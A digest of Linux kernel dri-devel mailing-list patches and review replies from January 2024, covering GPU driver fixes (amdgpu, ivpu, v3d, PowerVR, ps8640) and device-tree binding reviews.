> > thanks for the fix.
> > 
> > Am 06.01.24 um 04:29 schrieb Randy Dunlap:
> >> Remove the @funcs entry from struct drm_vram_mm to quieten the kernel-doc
> >> warning.
> >>
> >> Use the "define" kernel-doc keyword and an '\' line continuation
> >> to fix another kernel-doc warning.
> >>
> >> drm_gem_vram_helper.h:129: warning: missing initial short description on 
> >> line:
> >>   * DRM_GEM_VRAM_PLANE_HELPER_FUNCS -
> >> drm_gem_vram_helper.h:185: warning: Excess struct member 'funcs' 
> >> description in 'drm_vram_mm'
> >>
> >> Signed-off-by: Randy Dunlap 
> >> Cc: David Airlie 
> >> Cc: Daniel Vetter 
> >> Cc: dri-devel@lists.freedesktop.org
> >> Cc: Maarten Lankhorst 
> >> Cc: Maxime Ripard 
> >> Cc: Thomas Zimmermann 
> >> ---
> >> v2: Add commit description
> >>
> >> base-commit: 610a9b8f49fbcf1100716370d3b5f6f884a2835a
> >>
> >>   include/drm/drm_gem_vram_helper.h |    3 +--
> >>   1 file changed, 1 insertion(+), 2 deletions(-)
> >>
> >> diff -- a/include/drm/drm_gem_vram_helper.h 
> >> b/include/drm/drm_gem_vram_helper.h
> >> --- a/include/drm/drm_gem_vram_helper.h
> >> +++ b/include/drm/drm_gem_vram_helper.h
> >> @@ -126,7 +126,7 @@ drm_gem_vram_plane_helper_cleanup_fb(str
> >>    struct drm_plane_state *old_state);
> >>     /**
> >> - * DRM_GEM_VRAM_PLANE_HELPER_FUNCS -
> >> + * define DRM_GEM_VRAM_PLANE_HELPER_FUNCS - \
> > 
> > Did something change wrt. doc syntax? I think this used to work without 
> > warnings. About this 'define': we don't use is in another docs. Can we 
> > leave it out here or is this the new syntax?
> > 
> 
> There are no doc syntax changes that I know of. This is not
> new syntax. It has been around since 2014:
>   cbb4d3e6510b ("scripts/kernel-doc: handle object-like macros")

I had no idea this exists, thanks a lot for this TIL :-)

I guess the issue here is that this exists, yay, but it's not documented
with the other here:

https://dri.freedesktop.org/docs/drm/doc-guide/kernel-doc.html#structure-union-and-enumeration-documentation

I guess a patch to kernel-doc.rst would be great. Adding some kernel-doc
folks.

Cheers, Sima
-- 
Daniel Vetter
Software Engineer, Intel Corporation
http://blog.ffwll.ch

Re: [PATCH 2/2] drm/amdgpu: add shared fdinfo stats

[Daniel Vetter]

On Tue, Jan 09, 2024 at 09:30:15AM +, Tvrtko Ursulin wrote:
> 
> On 09/01/2024 07:56, Christian König wrote:
> > Am 07.12.23 um 19:02 schrieb Alex Deucher:
> > > Add shared stats.  Useful for seeing shared memory.
> > > 
> > > v2: take dma-buf into account as well
> > > 
> > > Signed-off-by: Alex Deucher 
> > > Cc: Rob Clark 
> > > ---
> > >   drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c |  4 
> > >   drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 11 +++
> > >   drivers/gpu/drm/amd/amdgpu/amdgpu_object.h |  6 ++
> > >   3 files changed, 21 insertions(+)
> > > 
> > > diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
> > > b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
> > > index 5706b282a0c7..c7df7fa3459f 100644
> > > --- a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
> > > +++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
> > > @@ -97,6 +97,10 @@ void amdgpu_show_fdinfo(struct drm_printer *p,
> > > struct drm_file *file)
> > >  stats.requested_visible_vram/1024UL);
> > >   drm_printf(p, "amd-requested-gtt:\t%llu KiB\n",
> > >  stats.requested_gtt/1024UL);
> > > +    drm_printf(p, "drm-shared-vram:\t%llu KiB\n",
> > > stats.vram_shared/1024UL);
> > > +    drm_printf(p, "drm-shared-gtt:\t%llu KiB\n",
> > > stats.gtt_shared/1024UL);
> > > +    drm_printf(p, "drm-shared-cpu:\t%llu KiB\n",
> > > stats.cpu_shared/1024UL);
> > > +
> > >   for (hw_ip = 0; hw_ip < AMDGPU_HW_IP_NUM; ++hw_ip) {
> > >   if (!usage[hw_ip])
> > >   continue;
> > > diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
> > > b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
> > > index d79b4ca1ecfc..1b37d95475b8 100644
> > > --- a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
> > > +++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
> > > @@ -1287,25 +1287,36 @@ void amdgpu_bo_get_memory(struct amdgpu_bo *bo,
> > >     struct amdgpu_mem_stats *stats)
> > >   {
> > >   uint64_t size = amdgpu_bo_size(bo);
> > > +    struct drm_gem_object *obj;
> > >   unsigned int domain;
> > > +    bool shared;
> > >   /* Abort if the BO doesn't currently have a backing store */
> > >   if (!bo->tbo.resource)
> > >   return;
> > > +    obj = >tbo.base;
> > > +    shared = (obj->handle_count > 1) || obj->dma_buf;
> > 
> > I still think that looking at handle_count is the completely wrong
> > approach, we should really only look at obj->dma_buf.
> 
> Yeah it is all a bit tricky with the handle table walk. I don't think it is
> even possible to claim it is shared with obj->dma_buf could be the same
> process creating say via udmabuf and importing into drm. It is a wild
> scenario yes, but it could be private memory in that case. Not sure where it
> would leave us if we said this is just a limitation of a BO based tracking.
> 
> Would adding a new category "imported" help?
> 
> Hmm or we simply change drm-usage-stats.rst:
> 
> """
> - drm-shared-:  [KiB|MiB]
> 
> The total size of buffers that are shared with another file (ie. have more
> than than a single handle).
> """
> 
> Changing ie into eg coule be get our of jail free card to allow the
> "(obj->handle_count > 1) || obj->dma_buf;" condition?
> 
> Because of the shared with another _file_ wording would cover my wild
> udmabuf self-import case. Unless there are more such creative private import
> options.

Yeah I think clarifying that we can only track sharing with other fd and
have no idea whether this means sharing with another process or not is
probably simplest. Maybe not exactly what users want, but still the
roughly best-case approximation we can deliver somewhat cheaply.

Also maybe time for a drm_gem_buffer_object_is_shared() helper so we don't
copypaste this all over and then end up in divergent conditions? I'm
guessing that there's going to be a bunch of drivers which needs this
little helper to add drm-shared-* stats to their fdinfo ...

Cheers, Sima
> 
> Regards,
> 
> Tvrtko
> 
> > 
> > Regards,
> > Christian.
> > 
> > > +
> > >   domain = amdgpu_mem_type_to_domain(bo->tbo.resource->mem_type);
> > >   switch (domain) {
> > >   case AMDGPU_GEM_DOMAIN_VRAM:
> > >   stats->vram += size;
> > >   if (amdgpu_bo_in_cpu_visible_vram(bo))
> > >   stats->visible_vram += size;
> > > +    if (shared)
> > > +    stats->vram_shared += size;
> > >   break;
> > >   case AMDGPU_GEM_DOMAIN_GTT:
> > >   stats->gtt += size;
> > > +    if (shared)
> > > +    stats->gtt_shared += size;
> > >   break;
> > >   case AMDGPU_GEM_DOMAIN_CPU:
> > >   default:
> > >   stats->cpu += size;
> > > +    if (shared)
> > > +    stats->cpu_shared += size;
> > >   break;
> > >   }
> > > diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h
> > > b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h
> > > index d28e21baef16..0503af75dc26 100644
> > > --- a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h
> > > +++ 

Re: [PATCH v5 5/8] dt-bindings: nt35510: add compatible for FRIDA FRD400B25025-A-CTK

[Dario Binacchi]

Hi Linus,

On Tue, Jan 9, 2024 at 1:51 PM Linus Walleij  wrote:
>
> Hi Dario,
>
> do you want me to apply patches 5,7,8 to the dri-misc
> tree?
>
> Yours,
> Linus Walleij

Yes, I would appreciate that very much.

Thanks and Regards,
Dario Binacchi

-- 

Dario Binacchi

Senior Embedded Linux Developer

dario.binac...@amarulasolutions.com

__


Amarula Solutions SRL

Via Le Canevare 30, 31100 Treviso, Veneto, IT

T. +39 042 243 5310
i...@amarulasolutions.com

www.amarulasolutions.com

Re: [PATCH 06/10] accel/ivpu: Fix for missing lock around drm_gem_shmem_vmap()

[Jacek Lawrynowicz]

On 05.01.2024 17:36, Jeffrey Hugo wrote:
> On 1/5/2024 4:22 AM, Jacek Lawrynowicz wrote:
>> drm_gem_shmem_vmap/vunmap requires dma resv lock to be held.
>> This was missed during conversion to shmem helper.
>>  > Signed-off-by: Jacek Lawrynowicz 
> 
> Fixes tag?

Sure, I'll add it.

Re: [PATCH v5 5/8] dt-bindings: nt35510: add compatible for FRIDA FRD400B25025-A-CTK

[Linus Walleij]

Hi Dario,

do you want me to apply patches 5,7,8 to the dri-misc
tree?

Yours,
Linus Walleij

Re: [PATCH 03/10] accel/ivpu: Add debug prints for MMU map/unmap operations

[Jacek Lawrynowicz]

On 05.01.2024 16:32, Jeffrey Hugo wrote:
> On 1/5/2024 4:22 AM, Jacek Lawrynowicz wrote:
>> From: "Wachowski, Karol" 
>>
>> It is common need to be able to  see IOVA/physical to VPU addresses
> 
> Errant double space between "to" and "see"

Sure

>> mappings. Especially when debugging different kind of memory related
>> issues. Lack of such logs forces user to modify and recompile KMD manually.
>>
>> This commit adds those logs under MMU debug mask which can be turned on
>> dynamically with module param during KMD load.
> As far as I understand, the preference is to not expose any kind of raw 
> addresses as it is seen as a security issue, and usually the addresses don't 
> have any real value to someone reading logs, etc.  I beleive I picked this up 
> from GregKH.
> 
> However, this commit text suggests there is value, and I see that one needs 
> to be root to enable this which could probably be considered a sufficent gate 
> to avoiding the data getting into the wrong hands.
> 
> Is it possible to provide more details as a justification for this? Perhaps 
> an example of a past issue where this data was necessary for debug?

There were multiple occasions were these messages were useful:
  - Debugging IOMMU issues on pre-production hardware
  - Enabling DevTLB cache on a functional simulator
  - Debugging performance issues with fragmented buffers

There is always some security tradeoff when enabling debug features but in this 
case it seems to be worth it.

Re: [PATCH] drm: bridge: samsung-dsim: Don't use FORCE_STOP_STATE

[Daniel Vetter]

On Tue, Jan 09, 2024 at 09:47:20AM +0100, Michael Walle wrote:
> Hi,
> 
> > > Inki, are you picking this up? Or if not, who will?
> > 
> > I can pick it up but it would be better to go to the drm-misc tree. If
> > nobody cares about it then I will pick it up. :)
> > 
> > acked-by : Inki Dae 
> 
> Who is going to pick this up? Who has access to the drm-misc tree?

Inki has, so I'm assuming since he acked he'll also merge.
-Sima
-- 
Daniel Vetter
Software Engineer, Intel Corporation
http://blog.ffwll.ch

Re: [DO NOT MERGE v6 12/37] dt-bindings: pci: pci-sh7751: Add SH7751 PCI

[Linus Walleij]

Hi Yoshinori,

thanks for your patch!

On Tue, Jan 9, 2024 at 9:24 AM Yoshinori Sato
 wrote:

> Renesas SH7751 PCI Controller json-schema.
>
> Signed-off-by: Yoshinori Sato 
(...)
> +  renesas,bus-arbit-round-robin:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set DMA bus arbitration to round robin.
> +
> +  pci-command-reg-fast-back-to-back:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI command register Fast Back-to-Back enable bit.
> +
> +  pci-command-reg-serr:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI command register SERR# enable.
> +
> +  pci-command-reg-wait-cycle-control:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI command register Wait cycle control bit.
> +
> +  pci-command-reg-parity-error-response:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI Command register Parity error response bit.
> +
> +  pci-command-reg-vga-snoop:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI Command register VGA palette snoop bit.
> +
> +  pci-command-reg-write-invalidate:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI Command register Memory write and invaldate enable bit.
> +
> +  pci-command-reg-special-cycle:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI Command register Special cycle bit.
> +
> +  pci-command-reg-bus-master:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI Command register Bus master bit.
> +
> +  pci-command-reg-memory-space:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI Command register Memory space bit.
> +
> +  pci-command-reg-io-space:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: |
> +  Set for PCI Command register I/O space bit.

Do you really need to configure all these things? It seems they are
just set to default values anyway?

Can't you just look at the compatible "renesas,sh7751-pci" and
set it to the values you know are needed for that compatible?

> +  pci-bar:
> +$ref: /schemas/types.yaml#/definitions/uint32-matrix
> +description: Overwrite to  PCI CONFIG Base Address Registers value.
> +items:
> +  items:
> +- description: BAR register number
> +- description: BAR register value
> +minItems: 1
> +maxItems: 6

Same with this, isn't this always the same (hardcoded) values
for "renesas,sh7751-pci" if used?

> +interrupt-map = <0x 0 0 1  5>,
> +<0x 0 0 2  6>,
> +<0x 0 0 3  7>,
> +<0x 0 0 4  8>,
> +<0x0800 0 0 1  6>,
> +<0x0800 0 0 2  7>,
> +<0x0800 0 0 3  8>,
> +<0x0800 0 0 4  5>,
> +<0x1000 0 0 1  7>,
> +<0x1000 0 0 2  8>,
> +<0x1000 0 0 3  5>,
> +<0x1000 0 0 4  6>;

This interrupt-map looks very strange, usually the last cell is the polarity
flag and here it is omitted? I would expect something like:

<0x 0 0 1  5 IRQ_TYPE_LEVEL_LOW>, (...)

The interrupt-map schema in dtschema isn't really looking at this
so it is easy to get it wrong.

Yours,
Linus Walleij

Re: [PATCH 05/10] accel/ivpu: Fix potential infinite loops in IRQ handlers

[Jacek Lawrynowicz]

On 05.01.2024 17:35, Jeffrey Hugo wrote:
> On 1/5/2024 4:22 AM, Jacek Lawrynowicz wrote:
>> Limit number of iterations in ivpu_mmu_irq_evtq_handler() and
>> ivpu_ipc_irq_handler().
> 
> "potential infinite loops" sounds like something that has not been observed.  
> Has a problem actually occurred?
> 
> Are you concerned that the FW is broken and spamming Linux with events?
> 
> Why a limit of 100 events?  Seems arbitrary.
> 
> I suspect threaded irqs might be useful here, but it is hard to tell.

No, these problems were not observed yet.
I think that the small size of the IPC/MMU queues and relatively fast host CPU 
prevent the host from being overloaded.
Maybe let's drop this patch until there is a real issue then :)

Re: [DO NOT MERGE v6 17/37] dt-bindings: interrupt-controller: renesas,sh7751-intc: Add json-schema

[Linus Walleij]

Hi Yoshinori,

thanks for your patch!

On Tue, Jan 9, 2024 at 9:24 AM Yoshinori Sato
 wrote:

> +  renesas,icr-irlm:
> +$ref: /schemas/types.yaml#/definitions/flag
> +description: If true four independent interrupt requests mode (ICR.IRLM 
> is 1).
> +
> +  renesas,ipr-map:
> +$ref: /schemas/types.yaml#/definitions/uint32-array
> +description: |
> +  IRQ to IPR mapping definition.
> +  1st - INTEVT code
> +  2nd - Register
> +  3rd - bit index

(...)

> +renesas,ipr-map = <0x240 IPRD IPR_B12>, /* IRL0 */
> +  <0x2a0 IPRD IPR_B8>,  /* IRL1 */
> +  <0x300 IPRD IPR_B4>,  /* IRL2 */
> +  <0x360 IPRD IPR_B0>,  /* IRL3 */
(...)

Is it really necessary to have all this in the device tree?

You know from the compatible that this is "renesas,sh7751-intc"
and I bet this table will be the same for any sh7751 right?

Then just put it in a table in the driver instead and skip this from
the device tree and bindings. If more interrupt controllers need
to be supported by the driver, you can simply look up the table from
the compatible string.

Yours,
Linus Walleij

Re: [PATCH] drm/v3d: Fix support for register debugging on the RPi 4

[Iago Toral]

Thanks Maíra!

Reviewed-by: Iago Toral Quiroga 

El mar, 09-01-2024 a las 08:30 -0300, Maíra Canal escribió:
> RPi 4 uses V3D 4.2, which is currently not supported by the register
> definition stated at `v3d_core_reg_defs`. We should be able to
> support
> V3D 4.2, therefore, change the maximum version of the register
> definition to 42, not 41.
> 
> Fixes: 0ad5bc1ce463 ("drm/v3d: fix up register addresses for V3D
> 7.x")
> Signed-off-by: Maíra Canal 
> ---
>  drivers/gpu/drm/v3d/v3d_debugfs.c | 20 ++--
>  1 file changed, 10 insertions(+), 10 deletions(-)
> 
> diff --git a/drivers/gpu/drm/v3d/v3d_debugfs.c
> b/drivers/gpu/drm/v3d/v3d_debugfs.c
> index f843a50d5dce..94eafcecc65b 100644
> --- a/drivers/gpu/drm/v3d/v3d_debugfs.c
> +++ b/drivers/gpu/drm/v3d/v3d_debugfs.c
> @@ -62,9 +62,9 @@ static const struct v3d_reg_def v3d_core_reg_defs[]
> = {
>   REGDEF(33, 71, V3D_PTB_BPCA),
>   REGDEF(33, 71, V3D_PTB_BPCS),
> 
> - REGDEF(33, 41, V3D_GMP_STATUS(33)),
> - REGDEF(33, 41, V3D_GMP_CFG(33)),
> - REGDEF(33, 41, V3D_GMP_VIO_ADDR(33)),
> + REGDEF(33, 42, V3D_GMP_STATUS(33)),
> + REGDEF(33, 42, V3D_GMP_CFG(33)),
> + REGDEF(33, 42, V3D_GMP_VIO_ADDR(33)),
> 
>   REGDEF(33, 71, V3D_ERR_FDBGO),
>   REGDEF(33, 71, V3D_ERR_FDBGB),
> @@ -74,13 +74,13 @@ static const struct v3d_reg_def
> v3d_core_reg_defs[] = {
> 
>  static const struct v3d_reg_def v3d_csd_reg_defs[] = {
>   REGDEF(41, 71, V3D_CSD_STATUS),
> - REGDEF(41, 41, V3D_CSD_CURRENT_CFG0(41)),
> - REGDEF(41, 41, V3D_CSD_CURRENT_CFG1(41)),
> - REGDEF(41, 41, V3D_CSD_CURRENT_CFG2(41)),
> - REGDEF(41, 41, V3D_CSD_CURRENT_CFG3(41)),
> - REGDEF(41, 41, V3D_CSD_CURRENT_CFG4(41)),
> - REGDEF(41, 41, V3D_CSD_CURRENT_CFG5(41)),
> - REGDEF(41, 41, V3D_CSD_CURRENT_CFG6(41)),
> + REGDEF(41, 42, V3D_CSD_CURRENT_CFG0(41)),
> + REGDEF(41, 42, V3D_CSD_CURRENT_CFG1(41)),
> + REGDEF(41, 42, V3D_CSD_CURRENT_CFG2(41)),
> + REGDEF(41, 42, V3D_CSD_CURRENT_CFG3(41)),
> + REGDEF(41, 42, V3D_CSD_CURRENT_CFG4(41)),
> + REGDEF(41, 42, V3D_CSD_CURRENT_CFG5(41)),
> + REGDEF(41, 42, V3D_CSD_CURRENT_CFG6(41)),
>   REGDEF(71, 71, V3D_CSD_CURRENT_CFG0(71)),
>   REGDEF(71, 71, V3D_CSD_CURRENT_CFG1(71)),
>   REGDEF(71, 71, V3D_CSD_CURRENT_CFG2(71)),
> --
> 2.43.0
> 
> 

[PATCH] drm/imagination: Defer probe if requested firmware is not available

[Javier Martinez Canillas]

The device is initialized in the driver's probe callback and as part of
that initialization, the required firmware is loaded. But this fails if
the driver is built-in and the firmware isn't present in the initramfs:

$ dmesg | grep powervr
[2.969757] powervr fd0.gpu: Direct firmware load for 
powervr/rogue_33.15.11.3_v1.fw failed with error -2
[2.979727] powervr fd0.gpu: [drm] *ERROR* failed to load firmware 
powervr/rogue_33.15.11.3_v1.fw (err=-2)
[2.989885] powervr: probe of fd0.gpu failed with error -2

$ ls -lh /lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz
-rw-r--r-- 1 root root 51K Dec 12 19:00 
/lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz

To prevent the probe to fail for this case, let's defer the probe if the
firmware isn't available. That way, the driver core can retry it and get
the probe to eventually succeed once the root filesystem has been mounted.

If the firmware is also not present in the root filesystem, then the probe
will never succeed and the reason listed in the debugfs devices_deferred:

$ cat /sys/kernel/debug/devices_deferred
fd0.gpu powervr: failed to load firmware powervr/rogue_33.15.11.3_v1.fw 
(err=-517)

Fixes: f99f5f3ea7ef ("drm/imagination: Add GPU ID parsing and firmware loading")
Suggested-by: Maxime Ripard 
Signed-off-by: Javier Martinez Canillas 
---

 drivers/gpu/drm/imagination/pvr_device.c | 12 ++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/drivers/gpu/drm/imagination/pvr_device.c 
b/drivers/gpu/drm/imagination/pvr_device.c
index 1704c0268589..6eda25366431 100644
--- a/drivers/gpu/drm/imagination/pvr_device.c
+++ b/drivers/gpu/drm/imagination/pvr_device.c
@@ -295,8 +295,16 @@ pvr_request_firmware(struct pvr_device *pvr_dev)
 */
err = request_firmware(, filename, pvr_dev->base.dev);
if (err) {
-   drm_err(drm_dev, "failed to load firmware %s (err=%d)\n",
-   filename, err);
+   /*
+* Defer probe if the firmware is not available yet (e.g: the 
driver
+* is built-in and the firmware not present in the initramfs 
image).
+*/
+   if (err == -ENOENT)
+   err = -EPROBE_DEFER;
+
+   dev_err_probe(drm_dev->dev, err, "failed to load firmware %s 
(err=%d)\n",
+ filename, err);
+
goto err_free_filename;
}
 
-- 
2.43.0

[PATCH v2] drm/bridge: parade-ps8640: Ensure bridge is suspended in .post_disable()

[Pin-yen Lin]

The ps8640 bridge seems to expect everything to be power cycled at the
disable process, but sometimes ps8640_aux_transfer() holds the runtime
PM reference and prevents the bridge from suspend.

Prevent that by introducing a mutex lock between ps8640_aux_transfer()
and .post_disable() to make sure the bridge is really powered off.

Fixes: 826cff3f7ebb ("drm/bridge: parade-ps8640: Enable runtime power 
management")
Signed-off-by: Pin-yen Lin 
---

Changes in v2:
- Use mutex instead of the completion and autosuspend hack

 drivers/gpu/drm/bridge/parade-ps8640.c | 16 
 1 file changed, 16 insertions(+)

diff --git a/drivers/gpu/drm/bridge/parade-ps8640.c 
b/drivers/gpu/drm/bridge/parade-ps8640.c
index 8161b1a1a4b1..46c84ce66041 100644
--- a/drivers/gpu/drm/bridge/parade-ps8640.c
+++ b/drivers/gpu/drm/bridge/parade-ps8640.c
@@ -107,6 +107,7 @@ struct ps8640 {
struct device_link *link;
bool pre_enabled;
bool need_post_hpd_delay;
+   struct mutex aux_lock;
 };
 
 static const struct regmap_config ps8640_regmap_config[] = {
@@ -344,10 +345,12 @@ static ssize_t ps8640_aux_transfer(struct drm_dp_aux *aux,
struct device *dev = _bridge->page[PAGE0_DP_CNTL]->dev;
int ret;
 
+   mutex_lock(_bridge->aux_lock);
pm_runtime_get_sync(dev);
ret = ps8640_aux_transfer_msg(aux, msg);
pm_runtime_mark_last_busy(dev);
pm_runtime_put_autosuspend(dev);
+   mutex_unlock(_bridge->aux_lock);
 
return ret;
 }
@@ -469,7 +472,18 @@ static void ps8640_atomic_post_disable(struct drm_bridge 
*bridge,
ps_bridge->pre_enabled = false;
 
ps8640_bridge_vdo_control(ps_bridge, DISABLE);
+
+   /*
+* The bridge seems to expect everything to be power cycled at the
+* disable process, so grab a lock here to make sure
+* ps8640_aux_transfer() is not holding a runtime PM reference and
+* preventing the bridge from suspend.
+*/
+   mutex_lock(_bridge->aux_lock);
+
pm_runtime_put_sync_suspend(_bridge->page[PAGE0_DP_CNTL]->dev);
+
+   mutex_unlock(_bridge->aux_lock);
 }
 
 static int ps8640_bridge_attach(struct drm_bridge *bridge,
@@ -618,6 +632,8 @@ static int ps8640_probe(struct i2c_client *client)
if (!ps_bridge)
return -ENOMEM;
 
+   mutex_init(_bridge->aux_lock);
+
ps_bridge->supplies[0].supply = "vdd12";
ps_bridge->supplies[1].supply = "vdd33";
ret = devm_regulator_bulk_get(dev, ARRAY_SIZE(ps_bridge->supplies),
-- 
2.43.0.472.g3155946c3a-goog

Re: [PATCH] drm/bridge: parade-ps8640: Ensure bridge is suspended in .post_disable()

[Pin-yen Lin]

Hi Doug,

On Tue, Jan 9, 2024 at 6:46 AM Doug Anderson  wrote:
>
> Hi,
>
> On Wed, Dec 27, 2023 at 2:43 AM Pin-yen Lin  wrote:
> >
> > Disable the autosuspend of runtime PM and use completion to make sure
> > ps8640_suspend() is called in ps8640_atomic_post_disable().
> >
> > The ps8640 bridge seems to expect everything to be power cycled at the
> > disable process, but sometimes ps8640_aux_transfer() holds the runtime
> > PM reference and prevents the bridge from suspend.
> >
> > Instead of force powering off the bridge and taking the risk of breaking
> > the AUX communication, disable the autosuspend and wait for
> > ps8640_suspend() being called here, and re-enable the autosuspend
> > afterwards.  With this approach, the bridge should be suspended after
> > the current ps8640_aux_transfer() completes.
> >
> > Fixes: 826cff3f7ebb ("drm/bridge: parade-ps8640: Enable runtime power 
> > management")
> > Signed-off-by: Pin-yen Lin 
> > ---
> >
> >  drivers/gpu/drm/bridge/parade-ps8640.c | 33 +-
> >  1 file changed, 32 insertions(+), 1 deletion(-)
> >
> > diff --git a/drivers/gpu/drm/bridge/parade-ps8640.c 
> > b/drivers/gpu/drm/bridge/parade-ps8640.c
> > index 8161b1a1a4b1..f8ea486a76fd 100644
> > --- a/drivers/gpu/drm/bridge/parade-ps8640.c
> > +++ b/drivers/gpu/drm/bridge/parade-ps8640.c
> > @@ -107,6 +107,7 @@ struct ps8640 {
> > struct device_link *link;
> > bool pre_enabled;
> > bool need_post_hpd_delay;
> > +   struct completion suspend_completion;
> >  };
> >
> >  static const struct regmap_config ps8640_regmap_config[] = {
> > @@ -417,6 +418,8 @@ static int __maybe_unused ps8640_suspend(struct device 
> > *dev)
> > if (ret < 0)
> > dev_err(dev, "cannot disable regulators %d\n", ret);
> >
> > +   complete_all(_bridge->suspend_completion);
> > +
> > return ret;
> >  }
> >
> > @@ -465,11 +468,37 @@ static void ps8640_atomic_post_disable(struct 
> > drm_bridge *bridge,
> >struct drm_bridge_state 
> > *old_bridge_state)
> >  {
> > struct ps8640 *ps_bridge = bridge_to_ps8640(bridge);
> > +   struct device *dev = _bridge->page[PAGE0_DP_CNTL]->dev;
> >
> > ps_bridge->pre_enabled = false;
> >
> > ps8640_bridge_vdo_control(ps_bridge, DISABLE);
> > -   pm_runtime_put_sync_suspend(_bridge->page[PAGE0_DP_CNTL]->dev);
> > +
> > +   /*
> > +* The ps8640 bridge seems to expect everything to be power cycled 
> > at
> > +* the disable process, but sometimes ps8640_aux_transfer() holds 
> > the
> > +* runtime PM reference and prevents the bridge from suspend.
> > +* Instead of force powering off the bridge and taking the risk of
> > +* breaking the AUX communication, disable the autosuspend and wait 
> > for
> > +* ps8640_suspend() being called here, and re-enable the autosuspend
> > +* afterwards.  With this approach, the bridge should be suspended 
> > after
> > +* the current ps8640_aux_transfer() completes.
> > +*/
> > +   reinit_completion(_bridge->suspend_completion);
> > +   pm_runtime_dont_use_autosuspend(dev);
> > +   pm_runtime_put_sync_suspend(dev);
> > +
> > +   /*
> > +* Mostly the suspend completes under 10 ms, but sometimes it could
> > +* take 708 ms to complete.  Set the timeout to 2000 ms here to be
> > +* extra safe.
> > +*/
> > +   if (!wait_for_completion_timeout(_bridge->suspend_completion,
> > +msecs_to_jiffies(2000))) {
> > +   dev_warn(dev, "Failed to wait for the suspend 
> > completion\n");
> > +   }
> > +
> > +   pm_runtime_use_autosuspend(dev);
>
> Thanks for tracking this down! I agree with your analysis and it seems
> like we've got to do something about it.
>
> I spent a little time trying to think about a cleaner way. What do you
> think about adding a "aux_transfer" mutex? You'd grab this mutex for
> the entire duration of ps8640_aux_transfer() and
> ps8640_atomic_post_disable(). That way you don't need the weird
> completion / timeout and don't need to hackily turn off/on
> autosuspend. You shouldn't need the mutex in
> ps8640_wait_hpd_asserted() because that will never be called at the
> same time as ps8640_atomic_post_disable().
>
> -Doug

Hi Doug,

Thanks for the suggestion! I tried that approach and it fixes the issue as well.

I'll send out another patch with that approach.

Regards,
Pin-yen

Re: [PATCH RFC v2 02/11] dt-bindings: gpu: Add PowerVR Series5 SGX GPUs

[Krzysztof Kozlowski]

On 08/01/2024 19:32, Andrew Davis wrote:
> The Imagination PowerVR Series5 "SGX" GPU is part of several SoCs from
> multiple vendors. Describe how the SGX GPU is integrated in these SoC,
> including register space and interrupts. Clocks, reset, and power domain
> information is SoC specific.
> 
> Signed-off-by: Andrew Davis 
> ---
>  .../bindings/gpu/img,powervr-sgx.yaml | 124 ++
>  MAINTAINERS   |   1 +
>  2 files changed, 125 insertions(+)
>  create mode 100644 Documentation/devicetree/bindings/gpu/img,powervr-sgx.yaml
> 
> diff --git a/Documentation/devicetree/bindings/gpu/img,powervr-sgx.yaml 
> b/Documentation/devicetree/bindings/gpu/img,powervr-sgx.yaml
> new file mode 100644
> index 0..bb821e1184de9
> --- /dev/null
> +++ b/Documentation/devicetree/bindings/gpu/img,powervr-sgx.yaml
> @@ -0,0 +1,124 @@
> +# SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)
> +# Copyright (c) 2023 Imagination Technologies Ltd.

Your email has @TI domain, are you sure you attribute your copyrights to
Imagination?

...

> +
> +  reg:
> +maxItems: 1
> +
> +  interrupts:
> +maxItems: 1
> +
> +  clocks: true

Missing min/maxItems

> +
> +  clock-names:
> +minItems: 1
> +items:
> +  - const: core
> +  - const: mem
> +  - const: sys
> +
> +  power-domains:
> +maxItems: 1
> +
> +required:
> +  - compatible
> +  - reg
> +  - interrupts
> +
> +additionalProperties: false

This goes after allOf: block.

> +
> +allOf:
> +  - if:
> +  properties:
> +compatible:
> +  contains:
> +const: ti,am6548-gpu
> +then:
> +  required:
> +- power-domains
> +else:
> +  properties:
> +power-domains: false
> +  - if:
> +  properties:
> +compatible:
> +  contains:
> +enum:
> +  - allwinner,sun6i-a31-gpu
> +  - ingenic,jz4780-gpu
> +then:
> +  allOf:
> +- if:

I don't understand why do you need to embed allOf inside another allOf.
The upper (outer) if:then: looks entirely useless.

> +properties:
> +  compatible:
> +contains:
> +  const: allwinner,sun6i-a31-gpu
> +  then:
> +properties:
> +  clocks:
> +minItems: 2
> +maxItems: 2
> +  clock-names:
> +minItems: 2
> +maxItems: 2


Best regards,
Krzysztof

[PATCH] drm/v3d: Fix support for register debugging on the RPi 4

[Maíra Canal]

RPi 4 uses V3D 4.2, which is currently not supported by the register
definition stated at `v3d_core_reg_defs`. We should be able to support
V3D 4.2, therefore, change the maximum version of the register
definition to 42, not 41.

Fixes: 0ad5bc1ce463 ("drm/v3d: fix up register addresses for V3D 7.x")
Signed-off-by: Maíra Canal 
---
